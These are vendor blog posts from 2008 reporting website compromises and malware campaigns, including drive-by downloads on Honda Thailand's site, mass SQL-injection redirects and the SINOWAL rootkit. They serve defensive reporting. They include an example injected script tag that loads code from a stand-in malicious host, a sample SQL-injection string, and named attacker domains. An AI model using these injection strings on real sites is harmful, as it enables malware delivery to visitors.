Posts filed under 'Malware'
May 9th, 2008 by Paul Oliveria (Technical Communications)
Unsuspecting users who may wish to buy (or simply admire) the new Honda Accord are warned that may fall victim to a drive-by download, leading to the installation of an info-stealing malware. TrendLabs discovered today an attack on the official web site of Honda Cars in Thailand.
According to Advanced Threats Researcher Jonell Baltazar, who discovered the compromise, the affected page, hxxp://www.honda.co.th:80/accord, was injected with a malicious script tag (detected by Trend Micro as HTML_IFRAME.QJ), which loads a page within the cleverly named getanewmazda.info domain. This page contains a script that looks for vulnerabilities to download and execute a certain file on the victim’s system. The downloaded file (which is named crypt.exe and saved as c:\winQZfio771.exe) is detected as TSPY_ZBOT.LA.
This compromise was discovered due to a feedback technology on our customers’ products. This mechanism allows our systems to monitor and block potential malicious URLs. In this case, a client visit to the compromised site automatically registered the HTML_IFRAME.QJ detection, thereby protecting the user from further infection. Trend Micro Web Threat Protection has prevented access to the compromised site, protecting customers from possible infection.
Below is a screenshot of the compromised page within the Honda Cars site. Note that the malicious script also affects both the English and Thai landing pages (main.html) after a user accesses any one of them:
The downloaded TSPY_ZBOT.LA, in turn, accesses yet another domain, where possibly more malicious files can be downloaded. As of this writing, our researchers found user names and passwords related stored in this domain, suggesting that it is used either as a phishing page or mere storage in which cyber criminals can easily retrieve stolen information.
This is not the first time a Thai site has been compromised. In the past couple of months, we have reported similar incidents affecting the sites of the Royal Thai Air Force and Udiya Tours of Northern Thailand, among others.
Note that this seems to be an isolated incident so as far as the Honda enterprise is concerned, only Honda Cars Thailand site has been injected with the malicious script. As of this writing, Honda Cars Thailand has promptly taken their site offline in order to address the matter.
Consolidated findings of the Advanced Threats Research, APAC RTL, and Web Threat Protection teams at TrendLabs
May 7th, 2008 by Macky Cruz (Technical Communications)
Our researchers “followed the bouncing Web threat” in this newly discovered spate of hacked legitimate Web sites. Advanced Threats Researcher Paul Ferguson posted about this mass compromise on the blog yesterday, when it was still a “developing issue originating from various locations in China for the past few days that we (security researchers) are still piecing together.”
It appears that several thousand Web sites have been compromised — via SQL injection — with embedded malicious JavaScript that redirects users to two major malicious URLs (winzipices.cn and bbs.jueduizuan), both of which are now gaining quite the reputation as fellow researchers scramble to determine the “end game” in this extraordinarily convoluted attack.
Here is a general diagram illustrating basically what happens on the user side:
The Web site compromises were accomplished in a similar manner as were other recent mass compromises –- through poor .asp and asp.net configuration that allow exploitation via SQL injection.
WINZIPICES.CN
Legitimate, yet compromised, Web sites found to be hosting the (embedded) JS_DLDR.AW redirected visitors to an .ASP script which, in turn, redirects to any one of three URLs.
These redirections happen instantaneously, without the user knowing it. Some of these redirections lead to URLs that randomize an image in the Web page, a definitive routine that is used for advertisements. It also uses cookies to determine the TTL of the image and possibly change the image once the TTL expires.
However, a more dangerous path, of which the user has no way of determining (let alone stopping), ends in the download of JS_DLOADER.AEHM and TROJ_REALPLAY.BR. Both download TROJ_AGENT.AKVP on the infected system. This Trojan drops a copy of itself and downloads a file containing a list of malicious sites.
As one of our researchers closely followed on the heels of the 2.asp path, we have found yet more executables, including an autorun malware detected by our patterns as WORM_AUTORUN.CBZ.
While some of the involved files look harmless by themselves, closer investigation into their relationships with one another reveal a possible attempt at information theft.
For instance, a file named stat.htm includes the browser version, system language, and platform of the infected PC and then attempts to upload these statistics to a remote location. We have also stumbled upon a possible signature or marker in one of the files, a certain (graffiti) “Power by Cnzz.”
BBS.JUEDUIZUAN
This is another malicious URL than can be seen in various compromised sites (~1,510 pages). The redirection path in this case is found below:
JS_AGENT.ALIP is the offending script in this attack. Compromised sites found hosting this script have been modified to contain an iFrame detected as HTML_IFRAME.AAK.
The following malicious files are downloaded on the user’s system upon visiting (and being redirected from) compromised sites:
DAMAGE COUNT
The number of Web sites affected have reached as of 19:50 PDT is at ~9,000, among them several legitimate medical, educational, government, and entertainment sites all over the world.
A survey of the site locations already includes India, UK, Canada, France, and China. This observation suggests that instead of a Webserver compromise or a heavily targeted attack, this attack could have been the work of an automated tool programmed to search through Web sites for vulnerabilities.
Here are screenshots of a couple of the compromised sites:
Our researchers believe this is similar to the attacks earlier this year involving uc8010.com, ucmal.com, rnmb.net, etc., which appear to be related output of a certain Chinese language hacking tool (see image below):
Also, we have been informed that a new version of this tool has very recently appeared, and unfortunately, it is now free for public download (as well while the latest one) and is posted up for availability to anyone who wants to download it.
The resulting package — once all the hacker selected options have been selected — creates the same .html file that has been used to launch various exploits.
In particular (matching the snapshot of the kit), options in this kit reveal interesting translations such as “PPS Overflow” — which translates roughly to PowerPlayer Control exploit; “Thunder 0day” — which translates to XunLei Thunder Player exploit; “Real 0day” — which is most probably pertinent to the RealPlayer exploit, and so on.
Correlating the code snippets and the exploits which are used, this points to being the same gang that perpetuated nihaorr1.com on April 29th and which came live sometime Monday.
There have been similar attacks using older tools but it appears to be that using less files and less redirection has helped lend a hand in the growing number of affected sites. The fact that an updated version was just released last week doesn’t make next week’s forecast clear of this current style of attack either.
Consolidated findings of the Advanced Threats Research Team and Web Threat Protection team at TrendLabs
May 6th, 2008 by Jasper Pimentel (Advanced Threats Researcher)
Last month started with an April Fool’s message being spammed around. The spammed email contained a link from where a variant of the Storm malware could be downloaded. Aside from that, we’ve had our usual fill of Trojans and malicious scripts that plagued compromised Web sites for April.
Notable Malware
TROJ_AGENT.AMAL
This Trojan poses as a browser plugin that must be installed first to view files that are supposed to come from a fake US federal judiciary Web site. Reported last April 15, the link to the fake site comes from spammed email messages claiming to be legitimate court subpoenas. To add credibility to the spammed email, the sender uses a uscourts.com email address, which may seem authentic to unsuspecting recipients of the message.
TROJ_SPAMBOT.AF
TROJ_SPAMBOT.AF is the Trend Micro detection for the malware behind Kraken, which is an emerging botnet rivaling the Storm botnet. Some researchers who have analyzed Kraken have stated that this may be a variant of the Bobax malware family.
TROJ_AGENT.AZZZ
Reported last April 5, this Trojan uses an old technique to trick users into compromising their systems. Users receive a spammed email, under the guise of a Microsoft security bulletin, urging the users to download a patch from a certain link present in the email. Of course, the patch is actually the malware itself, which Trend Micro detects as TROJ_AGENT.AZZZ.
WORM_NUWAR.JQ
TrendLabs researchers discovered a Web site that offers what looks like a YouTube-style streaming video service. The infection vector and messaging are actually still the same — that is, users are most likely to access this site via links on specially crafted blogs. What is interesting this time is that on the suspect site, users are required to download the so-called “Storm Codec” in order to view the video. Yes, you read that right: the codec is called Storm Codec. Of course, the “codec” is actually a NUWAR variant, which Trend Micro already detects as WORM_NUWAR.JQ since April 2.
Exploits and Vulnerabilities
BKDR_POISONIV.QI and EXPL_NEVAR.B
A backdoor exploiting a recent vulnerability in Microsoft’s GDI processing was discovered right after Patch Tuesday last April 8. A file named TOP.JPG has been found to do this. It arrives on a system as an executable, now detected as EXPL_NEVAR.B. With just this opening available to malware authors, they can do pretty much anything after exploiting this vulnerability. Its specific routine is to connect to a URL to download a file named WORD.GIF (also detected as BKDR_POISONIV.QI).
Web Incidents
JS_DLOADER.TVP and JS_IFRAME.US
Early this month, several Web sites have been compromised by search engine optimization (SEO) poisoning. Some of the compromised sites were that of the Washington State University and several news sites such as Sun Gazette and Tribune-Chronicle. For the past few months, education Web sites (*.edu) were the ones targeted for such attacks, averaging about three per month. In this recent incident, JS_IFRAME.US is the iFrame component that is inserted into the HTML code of the Web page. When the browser is redirected by this malicious iFrame, it downloads the malicious script file JS_DLOADER.TVP.
That’s it for today. As of this writing, it seems that another Italian Job is underway, with ~100 compromised Web sites. We shall take a look at more of this in next month’s malware roundup.
May 2nd, 2008 by Macky Cruz (Technical Communications)
In what may turn out to be an advanced one-year “toast” to the June 2007 mass infection that came to be known as the Italian Job, TrendLabs discovered 90 compromised Italian Web sites (all verified active as of this writing) at around 12:30 AM GMT. The compromised sites are varied; their only common thematic link seems to be the Italian language.
According to Trend Micro analysts, the attack rolls out like this:
1. The compromised Web sites contain obfuscated JavaScript code (detected as JS_AFIR.A) that redirects the browser to the malicious URL http://{BLOCKED}r.com/cgi-bin/index.cgi?grb&js=1.
The script checks the Internet Explorer version and language so it will only execute on Italian ones.
2. The said URL redirects to another URL: http://{BLOCKED}f.com/cgi-bin/index.cgi?grobin (blocked by Web Reputation Services since April 27).
The two malicious sites were found to be hosted in a single IP traced back to San Diego, California.
3. The said sites download TROJ_SINOWAL.CB (detected since April 26 GMT) from the same domain. TROJ_SINOWAL.CB then drops BKDR_SINOWAL.CF (detected since April 30 GMT), which in turn drops a rootkit component on the affected PC.
This rootkit component modifies certain sectors of the infected hard disk. It also hooks Driver.sys to protect these sectors from read and write operations from AV/security software.
See infection diagram below.
SINOWAL malware variants are known information stealer droppers.
As of this writing, TrendLabs has discovered two forms of this compromise: one is via an injected obfuscated script that redirects to a certain malicious URL, and the other is via a readable iFrame and the same obfuscated script.
It appears that this attack affects sites hosted in Italy by a single hosting provider — the same one that hosted the thousands of sites (mostly travel and leisure) in last year’s large-scale infection. This time, compromised sites include the following:
- The official site of Monica Bellucci (famous Italian model-actress)
- The Mercedes-Benz club of Italy
- The official Web page of Sabrina Salerno (Italian singer)
- A Johnny Depp fan site
- A fan site of Pearl Jam
Here are screenshots of the first three sites mentioned above:
Trend Micro customers are already protected from this threat. Web Threat Protection technology has prevented access to the malicious pages since 27 April 2008. The URLs have already been added to our emergency database and are blocked by WCS (Web Classify Server), making these accessible to customers. Also, the RootkitBuster tool is able to scan the MBR-rootkit component involved in this attack.
Last updated at 5:27 PM GMT, 3 May 2008
April 29th, 2008 by Alice Decker (Advanced Threats Researcher)
Some days ago our researchers from TrendLabs discovered an attack on Web sites from the European region. Since the number of compromised sites was low, and because they were immediately cleaned, we figured it might be just a proof of concept.
F-Secure researchers also announced a similar attack where more than 500,000 sites were affected.
The infection code was a <script > tag that pointed to a malicious URL. The new discovery here is that these malicious tags were inserted between the usual text tags <title > </title >. For example
<title >My Website <script src=http://maliciousURL.com > </script > </title >
and into <meta >, <a href= > <div class=”myclass” > etc. like for example <a href=http://goodURL <script src=http://maliciousURL > </script > >.
An infected Web site would display its infection in the browser window title:
While neither <title > nor <meta > tags are supposed to support <script >, some browsers are prone to syntax errors. They interpret any script tags wherever they are placed.
The visitors of the affected Web sites are thus exposed to threats active on their systems.
The massive infection of Web sites was done supposedly through automated SQL injection. This is not the first instance of this type of attack; unfortunately, it would not be the last time either.
What’s notable about SQL injections is that such attacks can be triggered any time, regardless of the security patch of the SQL server behind. The success of the attack depends on the Web application that uses SQL servers. A Web site with no field content control is pretty easy to fool into sending to the server a simple SQL command. To simplify:
“SELECT * FROM bank_data WHERE Userid=blah or 1=1”
The moral of this story is that cyber criminals will have an easy game as long as Web sites are made by construction kit users or from inexperienced developers that may not consider field content checking.
Trend Micro users are already protected, first through a generic detection of the script — as HTML_IFRAME.YC — and certainly through Web Threat Protection.
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